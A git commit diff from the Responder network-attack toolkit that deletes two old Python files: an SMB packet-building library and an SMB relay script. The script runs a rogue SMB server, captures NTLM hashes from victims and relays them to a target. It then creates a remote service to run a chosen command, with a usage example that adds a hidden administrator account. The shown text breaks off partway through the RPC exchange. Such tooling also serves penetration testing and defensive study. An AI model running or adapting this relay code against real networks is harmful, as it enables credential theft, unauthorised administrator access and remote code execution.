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Removing old Relay scripts
This commit is contained in:
lgandx
parent
57c7e3c691
commit
176d04b6c5
2 changed files with 0 additions and 765 deletions
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@ -1,343 +0,0 @@
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#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import struct
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import sys
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sys.path.append('../')
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from odict import OrderedDict
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from packets import Packet
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class SMBHeader(Packet):
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fields = OrderedDict([
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("proto", "\xff\x53\x4d\x42"),
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("cmd", "\x72"),
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("errorcode", "\x00\x00\x00\x00"),
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("flag1", "\x00"),
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("flag2", "\x00\x00"),
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("pidhigh", "\x00\x00"),
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("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
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("reserved", "\x00\x00"),
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("tid", "\x00\x00"),
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("pid", "\x00\x00"),
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("uid", "\x00\x00"),
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("mid", "\x00\x00"),
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])
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class SMBNego(Packet):
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fields = OrderedDict([
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("Wordcount", "\x00"),
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("Bcc", "\x62\x00"),
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("Data", "")
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])
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def calculate(self):
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self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
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class SMBNegoData(Packet):
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fields = OrderedDict([
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("Separator1","\x02" ),
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("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
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("Separator2","\x02"),
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("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
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("Separator3","\x02"),
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("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
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("Separator4","\x02"),
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("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
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("Separator5","\x02"),
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("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
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("Separator6","\x02"),
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("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
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])
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class SMBSessionTreeData(Packet):
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fields = OrderedDict([
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("Wordcount", "\x0d"),
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("AndXCommand", "\x75"),
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("Reserved", "\x00" ),
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("Andxoffset", "\x7c\x00"),
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("Maxbuff","\x04\x11"),
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("Maxmpx", "\x32\x00"),
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("Vcnum","\x00\x00"),
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("Sessionkey", "\x00\x00\x00\x00"),
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("AnsiPassLength","\x18\x00"),
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("UnicodePassLength", "\x00\x00"),
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("Reserved2","\x00\x00\x00\x00"),
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("Capabilities", "\xd4\x00\x00\x00"),
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("Bcc","\x3f\x00"),
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("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
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("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
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("Username","Administrator"),
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("UsernameTerminator","\x00\x00"),
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("Domain","SMB"),
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("DomainTerminator","\x00\x00"),
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("Nativeos",""),
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("NativeosTerminator","\x00\x00"),
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("Lanmanager",""),
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("LanmanagerTerminator","\x00\x00\x00"),
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("Wordcount2","\x04"),
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("Andxcmd2","\xff"),
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("Reserved3","\x00"),
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("Andxoffset2","\x06\x01"),
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("Flags","\x08\x00"),
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("PasswordLength","\x01\x00"),
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("Bcc2","\x19\x00"),
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("Passwd","\x00"),
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("PrePath","\\\\"),
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("Targ", "CSCDSFCS"),
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("IPC", "\\IPC$"),
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("TerminatorPath","\x00\x00"),
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("Service","?????"),
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("TerminatorService","\x00"),
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])
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def calculate(self):
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##Convert first
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self.fields["Username"] = self.fields["Username"].encode('utf-16be')
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self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
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self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
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self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
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self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
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self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
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self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
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##Then calculate
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data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
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data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
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self.fields["Bcc"] = struct.pack("<h",len(data1))
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self.fields["Bcc2"] = struct.pack("<h",len(data2))
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self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
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self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
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self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
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self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
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class SMBNTCreateData(Packet):
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fields = OrderedDict([
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("Wordcount", "\x18"),
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("AndXCommand", "\xff"),
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("Reserved", "\x00" ),
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("Andxoffset", "\x00\x00"),
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("Reserved2", "\x00"),
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("FileNameLen", "\x07\x00"),
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("CreateFlags", "\x16\x00\x00\x00"),
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("RootFID", "\x00\x00\x00\x00"),
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("AccessMask", "\x00\x00\x00\x02"),
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("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
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("FileAttrib", "\x00\x00\x00\x00"),
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("ShareAccess", "\x07\x00\x00\x00"),
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("Disposition", "\x01\x00\x00\x00"),
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("CreateOptions", "\x00\x00\x00\x00"),
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("Impersonation", "\x02\x00\x00\x00"),
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("SecurityFlags", "\x00"),
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("Bcc", "\x08\x00"),
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("FileName", "\\svcctl"),
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("FileNameNull", "\x00"),
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])
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def calculate(self):
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Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
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self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
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self.fields["Bcc"] = struct.pack("<h",len(Data1))
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class SMBReadData(Packet):
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fields = OrderedDict([
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("Wordcount", "\x0a"),
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("AndXCommand", "\xff"),
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("Reserved", "\x00" ),
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("Andxoffset", "\x00\x00"),
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("FID", "\x00\x00"),
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("Offset", "\x19\x03\x00\x00"),
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("MaxCountLow", "\xed\x01"),
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("MinCount", "\xed\x01"),
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("Hidden", "\xff\xff\xff\xff"),
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("Remaining", "\x00\x00"),
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("Bcc", "\x00\x00"),
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("Data", ""),
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])
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def calculate(self):
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self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
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class SMBWriteData(Packet):
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fields = OrderedDict([
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("Wordcount", "\x0e"),
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("AndXCommand", "\xff"),
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("Reserved", "\x00" ),
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("Andxoffset", "\x00\x00"),
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("FID", "\x06\x40"),
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("Offset", "\xea\x03\x00\x00"),
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("Reserved2", "\xff\xff\xff\xff"),
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("WriteMode", "\x08\x00"),
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("Remaining", "\xdc\x02"),
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("DataLenHi", "\x00\x00"),
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("DataLenLow", "\xdc\x02"),
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("DataOffset", "\x3f\x00"),
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("HiOffset", "\x00\x00\x00\x00"),
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("Bcc", "\xdc\x02"),
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("Data", ""),
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])
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def calculate(self):
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self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
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self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
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self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
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class SMBDCEData(Packet):
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fields = OrderedDict([
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("Version", "\x05"),
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("VersionLow", "\x00"),
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("PacketType", "\x0b"),
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("PacketFlag", "\x03"),
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("DataRepresent", "\x10\x00\x00\x00"),
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("FragLen", "\x2c\x02"),
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("AuthLen", "\x00\x00"),
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("CallID", "\x00\x00\x00\x00"),
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("MaxTransFrag", "\xd0\x16"),
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("MaxRecvFrag", "\xd0\x16"),
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("GroupAssoc", "\x00\x00\x00\x00"),
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("CTXNumber", "\x01"),
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("CTXPadding", "\x00\x00\x00"),
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("CTX0ContextID", "\x00\x00"),
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("CTX0ItemNumber", "\x01\x00"),
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("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
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("CTX0UIDVersion", "\x02\x00"),
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("CTX0UIDVersionlo","\x00\x00"),
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("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
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("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
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])
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def calculate(self):
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Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
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self.fields["FragLen"] = struct.pack("<h",len(Data1))
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class SMBDCEPacketData(Packet):
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fields = OrderedDict([
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("Version", "\x05"),
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("VersionLow", "\x00"),
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("PacketType", "\x00"),
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("PacketFlag", "\x03"),
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("DataRepresent", "\x10\x00\x00\x00"),
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("FragLen", "\x2c\x02"),
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("AuthLen", "\x00\x00"),
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("CallID", "\x00\x00\x00\x00"),
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("AllocHint", "\x38\x00\x00\x00"),
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("ContextID", "\x00\x00"),
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("Opnum", "\x0f\x00"),
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("Data", ""),
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])
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def calculate(self):
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Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
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self.fields["FragLen"] = struct.pack("<h",len(Data1))
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self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
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class SMBDCESVCCTLOpenManagerW(Packet):
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fields = OrderedDict([
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("MachineNameRefID", "\xb5\x97\xb9\xbc"),
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("MaxCount", "\x0f\x00\x00\x00"),
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("Offset", "\x00\x00\x00\x00"),
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("ActualCount", "\x0f\x00\x00\x00"),
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("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
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("MachineNameNull", "\x00\x00\x00\x00"),
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("DbPointer", "\x00\x00\x00\x00"),
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("AccessMask", "\x3f\x00\x0f\x00"),
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])
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def calculate(self):
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## Convert to UTF-16LE
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self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
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class SMBDCESVCCTLCreateService(Packet):
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fields = OrderedDict([
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("ContextHandle", ""),
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("MaxCount", "\x0c\x00\x00\x00"),
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("Offset", "\x00\x00\x00\x00"),
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("ActualCount", "\x0c\x00\x00\x00"),
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("ServiceName", "AyAGaxwLhCP"),
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("MachineNameNull", "\x00\x00"),
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("ReferentID", "\x9c\xfa\x9a\xc9"),
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("MaxCountRefID", "\x11\x00\x00\x00"),
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("OffsetID", "\x00\x00\x00\x00"),
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("ActualCountRefID", "\x11\x00\x00\x00"),
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("DisplayNameID", "DhhUFcsvrfJvLwRq"),
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("DisplayNameIDNull", "\x00\x00\x00\x00"),
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("AccessMask", "\xff\x01\x0f\x00"),
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("ServerType", "\x10\x01\x00\x00"),
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("ServiceStartType", "\x03\x00\x00\x00"),
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("ServiceErrorCtl", "\x00\x00\x00\x00"),
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("BinPathMaxCount", "\xb6\x00\x00\x00"),
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("BinPathOffset", "\x00\x00\x00\x00"),
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("BinPathActualCount", "\xb6\x00\x00\x00"),
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("BinPathName", "%COMSPEC% /C \""),
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("BinCMD", ""),
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("BintoEnd", "\""),
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("BinPathNameNull", "\x00\x00"),
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("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
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])
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def calculate(self):
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BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
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## Calculate first
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self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
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self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
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self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
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self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
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self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
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self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
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## Then convert to UTF-16LE, yeah it's weird..
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self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
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self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
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self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
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self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
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self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
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class SMBDCESVCCTLOpenService(Packet):
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fields = OrderedDict([
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("ContextHandle", ""),
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("MaxCount", "\x0c\x00\x00\x00"),
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("Offset", "\x00\x00\x00\x00"),
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("ActualCount", "\x0c\x00\x00\x00"),
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("ServiceName", ""),
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("MachineNameNull", "\x00\x00"),
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("AccessMask", "\xff\x01\x0f\x00"),
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])
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def calculate(self):
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## Calculate first
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self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
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self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
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## Then convert to UTF-16LE, yeah it's weird..
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self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
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class SMBDCESVCCTLStartService(Packet):
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fields = OrderedDict([
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("ContextHandle", ""),
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("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
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])
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def ParseAnswerKey(data,host):
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key = data[73:81]
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print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
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return key
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@ -1,422 +0,0 @@
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#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
import random
|
||||
import optparse
|
||||
import thread
|
||||
sys.path.append('../')
|
||||
from fingerprint import RunSmbFinger
|
||||
from socket import *
|
||||
from RelayPackets import *
|
||||
from packets import *
|
||||
from servers.SMB import *
|
||||
from packets import Packet
|
||||
|
||||
import logging
|
||||
Logs = logging
|
||||
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||
|
||||
|
||||
def longueur(payload):
|
||||
return struct.pack(">i", len(''.join(payload)))
|
||||
|
||||
|
||||
def UserCallBack(op, value, dmy, parser):
|
||||
args=[]
|
||||
for arg in parser.rargs:
|
||||
if arg[0] != "-":
|
||||
args.append(arg)
|
||||
if getattr(parser.values, op.dest):
|
||||
args.extend(getattr(parser.values, op.dest))
|
||||
setattr(parser.values, op.dest, args)
|
||||
|
||||
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
|
||||
parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
|
||||
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
||||
parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain")
|
||||
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.CMD is None:
|
||||
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.TARGET is None:
|
||||
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
elif options.UserToRelay is None:
|
||||
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
UserToRelay = options.UserToRelay
|
||||
Domain = options.Domain
|
||||
Command = options.CMD
|
||||
Target = options.TARGET
|
||||
Responder_IP = options.Responder_IP
|
||||
|
||||
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gmail.com"
|
||||
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
|
||||
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
|
||||
|
||||
#Function used to verify if a previous auth attempt was made.
|
||||
def ReadData(outfile,Client, User, cmd=None):
|
||||
try:
|
||||
with open(ResponderPATH+outfile,"r") as filestr:
|
||||
if cmd is None:
|
||||
String = Client+':'+User
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
return True
|
||||
return False
|
||||
if cmd is not None:
|
||||
String = Client+","+User+","+cmd
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||
return True
|
||||
return False
|
||||
except:
|
||||
raise
|
||||
|
||||
#Function used to parse SMB NTLMv1/v2
|
||||
def ParseHash(data,Client, Target):
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
if NthashLen >= 30:
|
||||
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
print "Username : ",Username
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
if NthashLen == 24:
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||
NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||
print "Username : ",Username
|
||||
print "Domain (if joined, if not then computer name) : ",Domain
|
||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
else:
|
||||
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
#Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||
return True
|
||||
return False
|
||||
|
||||
def ParseDomain(data):
|
||||
return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
DialectStart = data[40:]
|
||||
pack = tuple(DialectStart.split('\x02'))[:10]
|
||||
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
|
||||
test = tuple(var)
|
||||
if test[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if test[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if test[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if test[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if test[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if test[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if test[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if test[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if test[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if test[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if test[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
|
||||
def SmbRogueSrv139(key,Target,DomainMachineName):
|
||||
s = socket(AF_INET,SOCK_STREAM)
|
||||
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
|
||||
s.settimeout(30)
|
||||
try:
|
||||
s.bind(('0.0.0.0', 139))
|
||||
s.listen(0)
|
||||
conn, addr = s.accept()
|
||||
except error, msg:
|
||||
if "Address already in use" in msg:
|
||||
print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
|
||||
|
||||
try:
|
||||
while True:
|
||||
data = conn.recv(1024)
|
||||
##session request 139
|
||||
if data[0] == "\x81":
|
||||
buffer0 = "\x82\x00\x00\x00"
|
||||
conn.send(buffer0)
|
||||
##Negotiate proto answer.
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
|
||||
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
if Is_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
else:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
conn.send(buffer1)
|
||||
Credz = ParseHash(data,addr[0],Target)
|
||||
return Credz
|
||||
except:
|
||||
return None
|
||||
|
||||
def RunRelay(host, Command,Domain):
|
||||
Target = host
|
||||
CMD = Command
|
||||
print "Target is running: ", RunSmbFinger((host, 445))
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect((host, 445))
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x03\xc7",pid="\xff\xfe", tid="\xff\xff")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
Key = ParseAnswerKey(data,host)
|
||||
DomainMachineName = ParseDomain(data)
|
||||
if data[8:10] == "\x72\x00":
|
||||
try:
|
||||
a = SmbRogueSrv139(Key,Target,DomainMachineName)
|
||||
if a is not None:
|
||||
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
|
||||
if Domain is None:
|
||||
Domain = OriginalDomain
|
||||
if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
|
||||
pass
|
||||
else:
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
|
||||
t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
except:
|
||||
raise
|
||||
a = None
|
||||
if data[8:10] == "\x73\x6d":
|
||||
print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
|
||||
Logs.info(CLIENTIP+":"+Username)
|
||||
if data[8:10] == "\x73\x0d":
|
||||
print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
|
||||
Logs.info(CLIENTIP+":"+Username)
|
||||
## NtCreateAndx
|
||||
if data[8:10] == "\x73\x00":
|
||||
print "[+] Authenticated, trying to PSexec on target !"
|
||||
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBNTCreateData()
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## Fail Handling.
|
||||
if data[8:10] == "\xa2\x22":
|
||||
print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
|
||||
## DCE/RPC Write.
|
||||
if data[8:10] == "\xa2\x00":
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
x = SMBDCEData()
|
||||
x.calculate()
|
||||
f = data[42:44]
|
||||
t = SMBWriteData(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBReadData(FID=f)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC SVCCTLOpenManagerW.
|
||||
if data[8:10] == "\x2e\x00":
|
||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
|
||||
w.calculate()
|
||||
x = SMBDCEPacketData(Data=w)
|
||||
x.calculate()
|
||||
t = SMBWriteData(FID=f,Data=x)
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
## DCE/RPC Read Answer.
|
||||
if data[8:10] == "\x2f\x00":
|
||||
